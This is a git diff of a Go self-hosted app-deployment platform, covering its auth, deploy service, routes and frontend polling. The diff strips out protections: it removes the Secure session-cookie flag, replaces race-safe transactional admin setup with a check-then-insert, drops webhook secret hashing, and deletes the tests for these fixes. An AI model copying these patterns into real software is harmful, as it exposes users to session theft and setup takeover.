r.Post("/apps/{id}/env-vars", s.handlers.HandleEnvVarAdd()) r.Post("/apps/{id}/env-vars", s.handlers.HandleEnvVarAdd())
r.Post("/apps/{id}/env-vars/{varID}/edit", s.handlers.HandleEnvVarEdit())
r.Post("/apps/{id}/env-vars/{varID}/delete", s.handlers.HandleEnvVarDelete()) r.Post("/apps/{id}/env-vars/{varID}/delete", s.handlers.HandleEnvVarDelete())
// Labels // Labels
r.Post("/apps/{id}/labels", s.handlers.HandleLabelAdd()) r.Post("/apps/{id}/labels", s.handlers.HandleLabelAdd())
r.Post("/apps/{id}/labels/{labelID}/edit", s.handlers.HandleLabelEdit())
r.Post("/apps/{id}/labels/{labelID}/delete", s.handlers.HandleLabelDelete()) r.Post("/apps/{id}/labels/{labelID}/delete", s.handlers.HandleLabelDelete())
// Volumes // Volumes
r.Post("/apps/{id}/volumes", s.handlers.HandleVolumeAdd()) r.Post("/apps/{id}/volumes", s.handlers.HandleVolumeAdd())
r.Post("/apps/{id}/volumes/{volumeID}/edit", s.handlers.HandleVolumeEdit())
r.Post("/apps/{id}/volumes/{volumeID}/delete", s.handlers.HandleVolumeDelete()) r.Post("/apps/{id}/volumes/{volumeID}/delete", s.handlers.HandleVolumeDelete())
// Ports // Ports
r.Post("/apps/{id}/ports", s.handlers.HandlePortAdd()) r.Post("/apps/{id}/ports", s.handlers.HandlePortAdd())
r.Post("/apps/{id}/ports/{portID}/delete", s.handlers.HandlePortDelete()) r.Post("/apps/{id}/ports/{portID}/delete", s.handlers.HandlePortDelete())
})
})
// API v1 routes (cookie-based session auth, no CSRF)
s.router.Route("/api/v1", func(r chi.Router) {
// Login endpoint is public (returns session cookie)
r.With(s.mw.LoginRateLimit()).Post("/login", s.handlers.HandleAPILoginPOST())
// All other API routes require session auth
r.Group(func(r chi.Router) {
r.Use(s.mw.APISessionAuth())
r.Get("/whoami", s.handlers.HandleAPIWhoAmI())
r.Get("/apps", s.handlers.HandleAPIListApps())
r.Post("/apps", s.handlers.HandleAPICreateApp())
r.Get("/apps/{id}", s.handlers.HandleAPIGetApp())
r.Delete("/apps/{id}", s.handlers.HandleAPIDeleteApp())
r.Post("/apps/{id}/deploy", s.handlers.HandleAPITriggerDeploy())
r.Get("/apps/{id}/deployments", s.handlers.HandleAPIListDeployments())
})
}) })
// Metrics endpoint (optional, with basic auth) // Metrics endpoint (optional, with basic auth)

View File

@@ -11,7 +11,6 @@ import (
"github.com/google/uuid" "github.com/google/uuid"
"github.com/oklog/ulid/v2" "github.com/oklog/ulid/v2"
"go.uber.org/fx" "go.uber.org/fx"
"git.eeqj.de/sneak/upaas/internal/database" "git.eeqj.de/sneak/upaas/internal/database"
@@ -83,7 +82,6 @@ func (svc *Service) CreateApp(
} }
app.WebhookSecret = uuid.New().String() app.WebhookSecret = uuid.New().String()
app.WebhookSecretHash = database.HashWebhookSecret(app.WebhookSecret)
app.SSHPrivateKey = keyPair.PrivateKey app.SSHPrivateKey = keyPair.PrivateKey
app.SSHPublicKey = keyPair.PublicKey app.SSHPublicKey = keyPair.PublicKey
app.Status = models.AppStatusPending app.Status = models.AppStatusPending

View File

@@ -10,6 +10,7 @@ import (
"log/slog" "log/slog"
"net/http" "net/http"
"strings" "strings"
"time"
"github.com/gorilla/sessions" "github.com/gorilla/sessions"
"go.uber.org/fx" "go.uber.org/fx"
@@ -72,7 +73,6 @@ func New(_ fx.Lifecycle, params ServiceParams) (*Service, error) {
Path: "/", Path: "/",
MaxAge: sessionMaxAgeSeconds, MaxAge: sessionMaxAgeSeconds,
HttpOnly: true, HttpOnly: true,
Secure: !params.Config.Debug,
SameSite: http.SameSiteLaxMode, SameSite: http.SameSiteLaxMode,
} }
@@ -162,27 +162,34 @@ func (svc *Service) IsSetupRequired(ctx context.Context) (bool, error) {
} }
// CreateUser creates the initial admin user. // CreateUser creates the initial admin user.
// It uses a DB transaction to atomically check that no users exist and insert
// the new admin user, preventing race conditions from concurrent setup requests.
func (svc *Service) CreateUser( func (svc *Service) CreateUser(
ctx context.Context, ctx context.Context,
username, password string, username, password string,
) (*models.User, error) { ) (*models.User, error) {
// Hash password before starting transaction. // Check if user already exists
exists, err := models.UserExists(ctx, svc.db)
if err != nil {
return nil, fmt.Errorf("failed to check if user exists: %w", err)
}
if exists {
return nil, ErrUserExists
}
// Hash password
hash, err := svc.HashPassword(password) hash, err := svc.HashPassword(password)
if err != nil { if err != nil {
return nil, fmt.Errorf("failed to hash password: %w", err) return nil, fmt.Errorf("failed to hash password: %w", err)
} }
// Use a transaction so the "no users exist" check and the insert are atomic. // Create user
// SQLite serializes write transactions, so concurrent requests will block here. user := models.NewUser(svc.db)
user, err := models.CreateFirstUser(ctx, svc.db, username, hash) user.Username = username
if err != nil { user.PasswordHash = hash
return nil, fmt.Errorf("failed to create user: %w", err)
}
if user == nil { err = user.Save(ctx)
return nil, ErrUserExists if err != nil {
return nil, fmt.Errorf("failed to save user: %w", err)
} }
svc.log.Info("user created", "username", username) svc.log.Info("user created", "username", username)
@@ -268,7 +275,7 @@ func (svc *Service) DestroySession(
return fmt.Errorf("failed to get session: %w", err) return fmt.Errorf("failed to get session: %w", err)
} }
session.Options.MaxAge = -1 session.Options.MaxAge = -1 * int(time.Second)
saveErr := session.Save(request, respWriter) saveErr := session.Save(request, respWriter)
if saveErr != nil { if saveErr != nil {

View File

@@ -2,9 +2,6 @@ package auth_test
import ( import (
"context" "context"
"fmt"
"net/http"
"net/http/httptest"
"path/filepath" "path/filepath"
"testing" "testing"
@@ -71,83 +68,6 @@ func setupTestService(t *testing.T) (*auth.Service, func()) {
return svc, cleanup return svc, cleanup
} }
func setupAuthService(t *testing.T, debug bool) *auth.Service {
t.Helper()
tmpDir := t.TempDir()
globals.SetAppname("upaas-test")
globals.SetVersion("test")
globalsInst, err := globals.New(fx.Lifecycle(nil))
require.NoError(t, err)
loggerInst, err := logger.New(
fx.Lifecycle(nil),
logger.Params{Globals: globalsInst},
)
require.NoError(t, err)
cfg := &config.Config{
Port: 8080,
DataDir: tmpDir,
SessionSecret: "test-secret-key-at-least-32-chars",
Debug: debug,
}
dbInst, err := database.New(fx.Lifecycle(nil), database.Params{
Logger: loggerInst,
Config: cfg,
})
require.NoError(t, err)
svc, err := auth.New(fx.Lifecycle(nil), auth.ServiceParams{
Logger: loggerInst,
Config: cfg,
Database: dbInst,
})
require.NoError(t, err)
return svc
}
func getSessionCookie(t *testing.T, svc *auth.Service) *http.Cookie {
t.Helper()
_, err := svc.CreateUser(context.Background(), "admin", "password123")
require.NoError(t, err)
user, err := svc.Authenticate(context.Background(), "admin", "password123")
require.NoError(t, err)
recorder := httptest.NewRecorder()
request := httptest.NewRequest(http.MethodGet, "/", nil)
err = svc.CreateSession(recorder, request, user)
require.NoError(t, err)
for _, c := range recorder.Result().Cookies() {
if c.Name == "upaas_session" {
return c
}
}
return nil
}
func TestSessionCookieSecureFlag(testingT *testing.T) {
testingT.Parallel()
testingT.Run("secure flag is true when debug is false", func(t *testing.T) {
t.Parallel()
svc := setupAuthService(t, false)
cookie := getSessionCookie(t, svc)
require.NotNil(t, cookie, "session cookie should exist")
assert.True(t, cookie.Secure, "session cookie should have Secure flag in production mode")
})
}
func TestHashPassword(testingT *testing.T) { func TestHashPassword(testingT *testing.T) {
testingT.Parallel() testingT.Parallel()
@@ -280,54 +200,6 @@ func TestCreateUser(testingT *testing.T) {
}) })
} }
func TestCreateUserRaceCondition(testingT *testing.T) {
testingT.Parallel()
testingT.Run("concurrent setup requests create only one user", func(t *testing.T) {
t.Parallel()
svc, cleanup := setupTestService(t)
defer cleanup()
const goroutines = 10
results := make(chan error, goroutines)
start := make(chan struct{})
for i := range goroutines {
go func(idx int) {
<-start // Wait for all goroutines to be ready
_, err := svc.CreateUser(
context.Background(),
fmt.Sprintf("admin%d", idx),
"password123456",
)
results <- err
}(i)
}
// Release all goroutines simultaneously
close(start)
var successes, failures int
for range goroutines {
err := <-results
if err == nil {
successes++
} else {
require.ErrorIs(t, err, auth.ErrUserExists)
failures++
}
}
assert.Equal(t, 1, successes, "exactly one goroutine should succeed")
assert.Equal(t, goroutines-1, failures, "all other goroutines should fail with ErrUserExists")
})
}
func TestAuthenticate(testingT *testing.T) { func TestAuthenticate(testingT *testing.T) {
testingT.Parallel() testingT.Parallel()
@@ -369,38 +241,3 @@ func TestAuthenticate(testingT *testing.T) {
assert.ErrorIs(t, err, auth.ErrInvalidCredentials) assert.ErrorIs(t, err, auth.ErrInvalidCredentials)
}) })
} }
func TestDestroySessionMaxAge(testingT *testing.T) {
testingT.Parallel()
testingT.Run("sets MaxAge to exactly -1", func(t *testing.T) {
t.Parallel()
svc, cleanup := setupTestService(t)
defer cleanup()
recorder := httptest.NewRecorder()
request := httptest.NewRequest(http.MethodGet, "/", nil)
err := svc.DestroySession(recorder, request)
require.NoError(t, err)
// Check the Set-Cookie header to verify MaxAge is -1 (immediate expiry).
// With MaxAge = -1, the cookie should have Max-Age=0 in the HTTP header
// (per http.Cookie semantics: negative MaxAge means delete now).
cookies := recorder.Result().Cookies()
require.NotEmpty(t, cookies, "expected a Set-Cookie header")
found := false
for _, c := range cookies {
if c.MaxAge < 0 {
found = true
break
}
}
assert.True(t, found, "expected a cookie with negative MaxAge (deletion)")
})
}

View File

@@ -43,14 +43,10 @@ var (
ErrContainerUnhealthy = errors.New("container unhealthy after 60 seconds") ErrContainerUnhealthy = errors.New("container unhealthy after 60 seconds")
// ErrDeploymentInProgress indicates another deployment is already running. // ErrDeploymentInProgress indicates another deployment is already running.
ErrDeploymentInProgress = errors.New("deployment already in progress for this app") ErrDeploymentInProgress = errors.New("deployment already in progress for this app")
// ErrDeployCancelled indicates the deployment was cancelled by a newer deploy.
ErrDeployCancelled = errors.New("deployment cancelled by newer deploy")
// ErrBuildTimeout indicates the build phase exceeded the timeout. // ErrBuildTimeout indicates the build phase exceeded the timeout.
ErrBuildTimeout = errors.New("build timeout exceeded") ErrBuildTimeout = errors.New("build timeout exceeded")
// ErrDeployTimeout indicates the deploy phase exceeded the timeout. // ErrDeployTimeout indicates the deploy phase exceeded the timeout.
ErrDeployTimeout = errors.New("deploy timeout exceeded") ErrDeployTimeout = errors.New("deploy timeout exceeded")
// ErrNoPreviousImage indicates there is no previous image to rollback to.
ErrNoPreviousImage = errors.New("no previous image available for rollback")
) )
// logFlushInterval is how often to flush buffered logs to the database. // logFlushInterval is how often to flush buffered logs to the database.
@@ -82,7 +78,6 @@ type deploymentLogWriter struct {
lineBuffer bytes.Buffer // buffer for incomplete lines lineBuffer bytes.Buffer // buffer for incomplete lines
mu sync.Mutex mu sync.Mutex
done chan struct{} done chan struct{}
flushed sync.WaitGroup // waits for flush goroutine to finish
flushCtx context.Context //nolint:containedctx // needed for async flush goroutine flushCtx context.Context //nolint:containedctx // needed for async flush goroutine
} }
@@ -92,8 +87,6 @@ func newDeploymentLogWriter(ctx context.Context, deployment *models.Deployment)
done: make(chan struct{}), done: make(chan struct{}),
flushCtx: ctx, flushCtx: ctx,
} }
w.flushed.Add(1)
go w.runFlushLoop() go w.runFlushLoop()
return w return w
@@ -135,15 +128,12 @@ func (w *deploymentLogWriter) Write(p []byte) (int, error) {
return len(p), nil return len(p), nil
} }
// Close stops the flush loop, waits for the final flush to complete. // Close stops the flush loop and performs a final flush.
func (w *deploymentLogWriter) Close() { func (w *deploymentLogWriter) Close() {
close(w.done) close(w.done)
w.flushed.Wait()
} }
func (w *deploymentLogWriter) runFlushLoop() { func (w *deploymentLogWriter) runFlushLoop() {
defer w.flushed.Done()
ticker := time.NewTicker(logFlushInterval) ticker := time.NewTicker(logFlushInterval)
defer ticker.Stop() defer ticker.Stop()
@@ -209,22 +199,15 @@ type ServiceParams struct {
Notify *notify.Service Notify *notify.Service
} }
// activeDeploy tracks a running deployment so it can be cancelled.
type activeDeploy struct {
cancel context.CancelFunc
done chan struct{}
}
// Service provides deployment functionality. // Service provides deployment functionality.
type Service struct { type Service struct {
log *slog.Logger log *slog.Logger
db *database.Database db *database.Database
docker *docker.Client docker *docker.Client
notify *notify.Service notify *notify.Service
config *config.Config config *config.Config
params *ServiceParams params *ServiceParams
activeDeploys sync.Map // map[string]*activeDeploy - per-app active deployment tracking appLocks sync.Map // map[string]*sync.Mutex - per-app deployment locks
appLocks sync.Map // map[string]*sync.Mutex - per-app deployment locks
} }
// New creates a new deploy Service. // New creates a new deploy Service.
@@ -285,39 +268,12 @@ func (svc *Service) GetLogFilePath(app *models.App, deployment *models.Deploymen
return filepath.Join(svc.config.DataDir, "logs", hostname, app.Name, filename) return filepath.Join(svc.config.DataDir, "logs", hostname, app.Name, filename)
} }
// HasActiveDeploy returns true if there is an active deployment for the given app. // Deploy deploys an app.
func (svc *Service) HasActiveDeploy(appID string) bool {
_, ok := svc.activeDeploys.Load(appID)
return ok
}
// CancelDeploy cancels any in-progress deployment for the given app
// and waits for it to finish before returning. Returns true if a deployment
// was cancelled, false if there was nothing to cancel.
func (svc *Service) CancelDeploy(appID string) bool {
if !svc.HasActiveDeploy(appID) {
return false
}
svc.cancelActiveDeploy(appID)
return true
}
// Deploy deploys an app. If cancelExisting is true (e.g. webhook-triggered),
// any in-progress deploy for the same app will be cancelled before starting.
// If cancelExisting is false and a deploy is in progress, ErrDeploymentInProgress is returned.
func (svc *Service) Deploy( func (svc *Service) Deploy(
ctx context.Context, ctx context.Context,
app *models.App, app *models.App,
webhookEventID *int64, webhookEventID *int64,
cancelExisting bool,
) error { ) error {
if cancelExisting {
svc.cancelActiveDeploy(app.ID)
}
// Try to acquire per-app deployment lock // Try to acquire per-app deployment lock
if !svc.tryLockApp(app.ID) { if !svc.tryLockApp(app.ID) {
svc.log.Warn("deployment already in progress", "app", app.Name) svc.log.Warn("deployment already in progress", "app", app.Name)
@@ -326,186 +282,45 @@ func (svc *Service) Deploy(
} }
defer svc.unlockApp(app.ID) defer svc.unlockApp(app.ID)
// Set up cancellable context and register as active deploy
deployCtx, cancel := context.WithCancel(ctx)
done := make(chan struct{})
ad := &activeDeploy{cancel: cancel, done: done}
svc.activeDeploys.Store(app.ID, ad)
defer func() {
cancel()
close(done)
svc.activeDeploys.Delete(app.ID)
}()
// Fetch webhook event and create deployment record // Fetch webhook event and create deployment record
webhookEvent := svc.fetchWebhookEvent(deployCtx, webhookEventID) webhookEvent := svc.fetchWebhookEvent(ctx, webhookEventID)
// Use a background context for DB operations that must complete regardless of cancellation deployment, err := svc.createDeploymentRecord(ctx, app, webhookEventID, webhookEvent)
bgCtx := context.WithoutCancel(deployCtx)
deployment, err := svc.createDeploymentRecord(bgCtx, app, webhookEventID, webhookEvent)
if err != nil { if err != nil {
return err return err
} }
svc.logWebhookPayload(bgCtx, deployment, webhookEvent) svc.logWebhookPayload(ctx, deployment, webhookEvent)
err = svc.updateAppStatusBuilding(bgCtx, app) err = svc.updateAppStatusBuilding(ctx, app)
if err != nil { if err != nil {
return err return err
} }
svc.notify.NotifyBuildStart(bgCtx, app, deployment) svc.notify.NotifyBuildStart(ctx, app, deployment)
return svc.runBuildAndDeploy(deployCtx, bgCtx, app, deployment)
}
// Rollback rolls back an app to its previous image.
// It stops the current container, starts a new one with the previous image,
// and creates a deployment record for the rollback.
func (svc *Service) Rollback(ctx context.Context, app *models.App) error {
if !app.PreviousImageID.Valid || app.PreviousImageID.String == "" {
return ErrNoPreviousImage
}
// Acquire per-app deployment lock
if !svc.tryLockApp(app.ID) {
return ErrDeploymentInProgress
}
defer svc.unlockApp(app.ID)
bgCtx := context.WithoutCancel(ctx)
deployment, err := svc.createRollbackDeployment(bgCtx, app)
if err != nil {
return err
}
return svc.executeRollback(ctx, bgCtx, app, deployment)
}
// createRollbackDeployment creates a deployment record for a rollback operation.
func (svc *Service) createRollbackDeployment(
ctx context.Context,
app *models.App,
) (*models.Deployment, error) {
deployment := models.NewDeployment(svc.db)
deployment.AppID = app.ID
deployment.Status = models.DeploymentStatusDeploying
deployment.ImageID = sql.NullString{String: app.PreviousImageID.String, Valid: true}
saveErr := deployment.Save(ctx)
if saveErr != nil {
return nil, fmt.Errorf("failed to create rollback deployment: %w", saveErr)
}
_ = deployment.AppendLog(ctx, "Rolling back to previous image: "+app.PreviousImageID.String)
return deployment, nil
}
// executeRollback performs the container swap for a rollback.
func (svc *Service) executeRollback(
ctx context.Context,
bgCtx context.Context,
app *models.App,
deployment *models.Deployment,
) error {
previousImageID := app.PreviousImageID.String
svc.removeOldContainer(ctx, app, deployment)
rollbackOpts, err := svc.buildContainerOptions(ctx, app, deployment.ID)
if err != nil {
svc.failDeployment(bgCtx, app, deployment, err)
return fmt.Errorf("failed to build container options: %w", err)
}
rollbackOpts.Image = previousImageID
containerID, err := svc.docker.CreateContainer(ctx, rollbackOpts)
if err != nil {
svc.failDeployment(bgCtx, app, deployment, fmt.Errorf("failed to create rollback container: %w", err))
return fmt.Errorf("failed to create rollback container: %w", err)
}
deployment.ContainerID = sql.NullString{String: containerID, Valid: true}
_ = deployment.AppendLog(bgCtx, "Rollback container created: "+containerID)
startErr := svc.docker.StartContainer(ctx, containerID)
if startErr != nil {
svc.failDeployment(bgCtx, app, deployment, fmt.Errorf("failed to start rollback container: %w", startErr))
return fmt.Errorf("failed to start rollback container: %w", startErr)
}
_ = deployment.AppendLog(bgCtx, "Rollback container started")
currentImageID := app.ImageID
app.ImageID = sql.NullString{String: previousImageID, Valid: true}
app.PreviousImageID = currentImageID
app.Status = models.AppStatusRunning
saveErr := app.Save(bgCtx)
if saveErr != nil {
return fmt.Errorf("failed to update app after rollback: %w", saveErr)
}
_ = deployment.MarkFinished(bgCtx, models.DeploymentStatusSuccess)
_ = deployment.AppendLog(bgCtx, "Rollback complete")
svc.log.Info("rollback completed", "app", app.Name, "image", previousImageID)
return nil
}
// runBuildAndDeploy executes the build and deploy phases, handling cancellation.
func (svc *Service) runBuildAndDeploy(
deployCtx context.Context,
bgCtx context.Context,
app *models.App,
deployment *models.Deployment,
) error {
// Build phase with timeout // Build phase with timeout
imageID, err := svc.buildImageWithTimeout(deployCtx, app, deployment) imageID, err := svc.buildImageWithTimeout(ctx, app, deployment)
if err != nil { if err != nil {
cancelErr := svc.checkCancelled(deployCtx, bgCtx, app, deployment)
if cancelErr != nil {
return cancelErr
}
return err return err
} }
svc.notify.NotifyBuildSuccess(bgCtx, app, deployment) svc.notify.NotifyBuildSuccess(ctx, app, deployment)
// Deploy phase with timeout // Deploy phase with timeout
err = svc.deployContainerWithTimeout(deployCtx, app, deployment, imageID) err = svc.deployContainerWithTimeout(ctx, app, deployment, imageID)
if err != nil { if err != nil {
cancelErr := svc.checkCancelled(deployCtx, bgCtx, app, deployment)
if cancelErr != nil {
return cancelErr
}
return err return err
} }
// Save current image as previous before updating to new one err = svc.updateAppRunning(ctx, app, imageID)
if app.ImageID.Valid && app.ImageID.String != "" {
app.PreviousImageID = app.ImageID
}
err = svc.updateAppRunning(bgCtx, app, imageID)
if err != nil { if err != nil {
return err return err
} }
// Use context.WithoutCancel to ensure health check completes even if // Use context.WithoutCancel to ensure health check completes even if
// the parent context is cancelled (e.g., HTTP request ends). // the parent context is cancelled (e.g., HTTP request ends).
go svc.checkHealthAfterDelay(bgCtx, app, deployment) go svc.checkHealthAfterDelay(context.WithoutCancel(ctx), app, deployment)
return nil return nil
} }
@@ -642,43 +457,6 @@ func (svc *Service) unlockApp(appID string) {
svc.getAppLock(appID).Unlock() svc.getAppLock(appID).Unlock()
} }
// cancelActiveDeploy cancels any in-progress deployment for the given app
// and waits for it to finish before returning.
func (svc *Service) cancelActiveDeploy(appID string) {
val, ok := svc.activeDeploys.Load(appID)
if !ok {
return
}
ad, ok := val.(*activeDeploy)
if !ok {
return
}
svc.log.Info("cancelling in-progress deployment", "app_id", appID)
ad.cancel()
<-ad.done
}
// checkCancelled checks if the deploy context was cancelled (by a newer deploy)
// and if so, marks the deployment as cancelled. Returns ErrDeployCancelled or nil.
func (svc *Service) checkCancelled(
deployCtx context.Context,
bgCtx context.Context,
app *models.App,
deployment *models.Deployment,
) error {
if !errors.Is(deployCtx.Err(), context.Canceled) {
return nil
}
svc.log.Info("deployment cancelled by newer deploy", "app", app.Name)
_ = deployment.MarkFinished(bgCtx, models.DeploymentStatusCancelled)
return ErrDeployCancelled
}
func (svc *Service) fetchWebhookEvent( func (svc *Service) fetchWebhookEvent(
ctx context.Context, ctx context.Context,
webhookEventID *int64, webhookEventID *int64,

View File

@@ -1,133 +0,0 @@
package deploy_test
import (
"context"
"log/slog"
"sync"
"testing"
"time"
"github.com/stretchr/testify/assert"
"git.eeqj.de/sneak/upaas/internal/service/deploy"
)
func TestCancelActiveDeploy_NoExisting(t *testing.T) {
t.Parallel()
svc := deploy.NewTestService(slog.Default())
// Should not panic or block when no active deploy exists
svc.CancelActiveDeploy("nonexistent-app")
}
func TestCancelActiveDeploy_CancelsAndWaits(t *testing.T) {
t.Parallel()
svc := deploy.NewTestService(slog.Default())
ctx, cancel := context.WithCancel(context.Background())
done := make(chan struct{})
svc.RegisterActiveDeploy("app-1", cancel, done)
// Simulate a running deploy that respects cancellation
var deployFinished bool
go func() {
<-ctx.Done()
deployFinished = true
close(done)
}()
svc.CancelActiveDeploy("app-1")
assert.True(t, deployFinished, "deploy should have finished after cancellation")
}
func TestCancelActiveDeploy_BlocksUntilDone(t *testing.T) {
t.Parallel()
svc := deploy.NewTestService(slog.Default())
ctx, cancel := context.WithCancel(context.Background())
done := make(chan struct{})
svc.RegisterActiveDeploy("app-2", cancel, done)
// Simulate slow cleanup after cancellation
go func() {
<-ctx.Done()
time.Sleep(50 * time.Millisecond)
close(done)
}()
start := time.Now()
svc.CancelActiveDeploy("app-2")
elapsed := time.Since(start)
assert.GreaterOrEqual(t, elapsed, 50*time.Millisecond,
"cancelActiveDeploy should block until the deploy finishes")
}
func TestTryLockApp_PreventsConcurrent(t *testing.T) {
t.Parallel()
svc := deploy.NewTestService(slog.Default())
assert.True(t, svc.TryLockApp("app-1"), "first lock should succeed")
assert.False(t, svc.TryLockApp("app-1"), "second lock should fail")
svc.UnlockApp("app-1")
assert.True(t, svc.TryLockApp("app-1"), "lock after unlock should succeed")
svc.UnlockApp("app-1")
}
func TestCancelActiveDeploy_AllowsNewDeploy(t *testing.T) {
t.Parallel()
svc := deploy.NewTestService(slog.Default())
// Simulate an active deploy holding the lock
ctx, cancel := context.WithCancel(context.Background())
done := make(chan struct{})
svc.RegisterActiveDeploy("app-3", cancel, done)
// Lock the app as if a deploy is in progress
assert.True(t, svc.TryLockApp("app-3"))
// Simulate deploy goroutine: release lock on cancellation
var mu sync.Mutex
released := false
go func() {
<-ctx.Done()
svc.UnlockApp("app-3")
mu.Lock()
released = true
mu.Unlock()
close(done)
}()
// Cancel should cause the old deploy to release its lock
svc.CancelActiveDeploy("app-3")
mu.Lock()
assert.True(t, released)
mu.Unlock()
// Now a new deploy should be able to acquire the lock
assert.True(t, svc.TryLockApp("app-3"), "should be able to lock after cancellation")
svc.UnlockApp("app-3")
}

View File

@@ -1,33 +0,0 @@
package deploy
import (
"context"
"log/slog"
)
// NewTestService creates a Service with minimal dependencies for testing.
func NewTestService(log *slog.Logger) *Service {
return &Service{
log: log,
}
}
// CancelActiveDeploy exposes cancelActiveDeploy for testing.
func (svc *Service) CancelActiveDeploy(appID string) {
svc.cancelActiveDeploy(appID)
}
// RegisterActiveDeploy registers an active deploy for testing.
func (svc *Service) RegisterActiveDeploy(appID string, cancel context.CancelFunc, done chan struct{}) {
svc.activeDeploys.Store(appID, &activeDeploy{cancel: cancel, done: done})
}
// TryLockApp exposes tryLockApp for testing.
func (svc *Service) TryLockApp(appID string) bool {
return svc.tryLockApp(appID)
}
// UnlockApp exposes unlockApp for testing.
func (svc *Service) UnlockApp(appID string) {
svc.unlockApp(appID)
}

View File

@@ -143,7 +143,7 @@ func (svc *Service) triggerDeployment(
// even if the HTTP request context is cancelled. // even if the HTTP request context is cancelled.
deployCtx := context.WithoutCancel(ctx) deployCtx := context.WithoutCancel(ctx)
deployErr := svc.deploy.Deploy(deployCtx, app, &eventID, true) deployErr := svc.deploy.Deploy(deployCtx, app, &eventID)
if deployErr != nil { if deployErr != nil {
svc.log.Error("deployment failed", "error", deployErr, "app", appName) svc.log.Error("deployment failed", "error", deployErr, "app", appName)
} }

View File

@@ -91,7 +91,6 @@ func createTestApp(
app.Branch = branch app.Branch = branch
app.DockerfilePath = "Dockerfile" app.DockerfilePath = "Dockerfile"
app.WebhookSecret = "webhook-secret-123" app.WebhookSecret = "webhook-secret-123"
app.WebhookSecretHash = database.HashWebhookSecret(app.WebhookSecret)
app.SSHPrivateKey = "private-key" app.SSHPrivateKey = "private-key"
app.SSHPublicKey = "public-key" app.SSHPublicKey = "public-key"
app.Status = models.AppStatusPending app.Status = models.AppStatusPending

View File

@@ -57,10 +57,6 @@
@apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed bg-success-500 text-white hover:bg-success-700 active:bg-green-800 focus:ring-green-500 shadow-elevation-1 hover:shadow-elevation-2; @apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed bg-success-500 text-white hover:bg-success-700 active:bg-green-800 focus:ring-green-500 shadow-elevation-1 hover:shadow-elevation-2;
} }
.btn-warning {
@apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed bg-warning-500 text-white hover:bg-warning-700 active:bg-orange-800 focus:ring-orange-500 shadow-elevation-1 hover:shadow-elevation-2;
}
.btn-text { .btn-text {
@apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed text-primary-600 hover:bg-primary-50 active:bg-primary-100; @apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed text-primary-600 hover:bg-primary-50 active:bg-primary-100;
} }

View File

@@ -61,21 +61,15 @@ document.addEventListener("alpine:init", () => {
*/ */
scrollToBottom(el) { scrollToBottom(el) {
if (el) { if (el) {
// Use double RAF to ensure DOM has fully updated and reflowed
requestAnimationFrame(() => { requestAnimationFrame(() => {
el.scrollTop = el.scrollHeight; requestAnimationFrame(() => {
el.scrollTop = el.scrollHeight;
});
}); });
} }
}, },
/**
* Check if a scrollable element is at (or near) the bottom.
* Tolerance of 30px accounts for rounding and partial lines.
*/
isScrolledToBottom(el, tolerance = 30) {
if (!el) return true;
return el.scrollHeight - el.scrollTop - el.clientHeight <= tolerance;
},
/** /**
* Copy text to clipboard * Copy text to clipboard
*/ */
@@ -182,71 +176,27 @@ document.addEventListener("alpine:init", () => {
showBuildLogs: !!config.initialDeploymentId, showBuildLogs: !!config.initialDeploymentId,
deploying: false, deploying: false,
deployments: [], deployments: [],
// Track whether user wants auto-scroll (per log pane)
_containerAutoScroll: true,
_buildAutoScroll: true,
_pollTimer: null,
init() { init() {
this.deploying = Alpine.store("utils").isDeploying(this.appStatus); this.deploying = Alpine.store("utils").isDeploying(this.appStatus);
this.fetchAll(); this.fetchAll();
this._schedulePoll(); setInterval(() => this.fetchAll(), 1000);
// Set up scroll listeners after DOM is ready
this.$nextTick(() => {
this._initScrollTracking(this.$refs.containerLogsWrapper, '_containerAutoScroll');
this._initScrollTracking(this.$refs.buildLogsWrapper, '_buildAutoScroll');
});
},
_schedulePoll() {
if (this._pollTimer) clearTimeout(this._pollTimer);
const interval = Alpine.store("utils").isDeploying(this.appStatus) ? 1000 : 10000;
this._pollTimer = setTimeout(() => {
this.fetchAll();
this._schedulePoll();
}, interval);
},
_initScrollTracking(el, flag) {
if (!el) return;
el.addEventListener('scroll', () => {
this[flag] = Alpine.store("utils").isScrolledToBottom(el);
}, { passive: true });
}, },
fetchAll() { fetchAll() {
this.fetchAppStatus(); this.fetchAppStatus();
// Only fetch logs when the respective pane is visible this.fetchContainerLogs();
if (this.$refs.containerLogsWrapper && this._isElementVisible(this.$refs.containerLogsWrapper)) { this.fetchBuildLogs();
this.fetchContainerLogs();
}
if (this.showBuildLogs && this.$refs.buildLogsWrapper && this._isElementVisible(this.$refs.buildLogsWrapper)) {
this.fetchBuildLogs();
}
this.fetchRecentDeployments(); this.fetchRecentDeployments();
}, },
_isElementVisible(el) {
if (!el) return false;
// Check if element is in viewport (roughly)
const rect = el.getBoundingClientRect();
return rect.bottom > 0 && rect.top < window.innerHeight;
},
async fetchAppStatus() { async fetchAppStatus() {
try { try {
const res = await fetch(`/apps/${this.appId}/status`); const res = await fetch(`/apps/${this.appId}/status`);
const data = await res.json(); const data = await res.json();
const wasDeploying = this.deploying;
this.appStatus = data.status; this.appStatus = data.status;
this.deploying = Alpine.store("utils").isDeploying(data.status); this.deploying = Alpine.store("utils").isDeploying(data.status);
// Re-schedule polling when deployment state changes
if (this.deploying !== wasDeploying) {
this._schedulePoll();
}
if ( if (
data.latestDeploymentID && data.latestDeploymentID &&
data.latestDeploymentID !== this.currentDeploymentId data.latestDeploymentID !== this.currentDeploymentId
@@ -264,15 +214,11 @@ document.addEventListener("alpine:init", () => {
try { try {
const res = await fetch(`/apps/${this.appId}/container-logs`); const res = await fetch(`/apps/${this.appId}/container-logs`);
const data = await res.json(); const data = await res.json();
const newLogs = data.logs || "No logs available"; this.containerLogs = data.logs || "No logs available";
const changed = newLogs !== this.containerLogs;
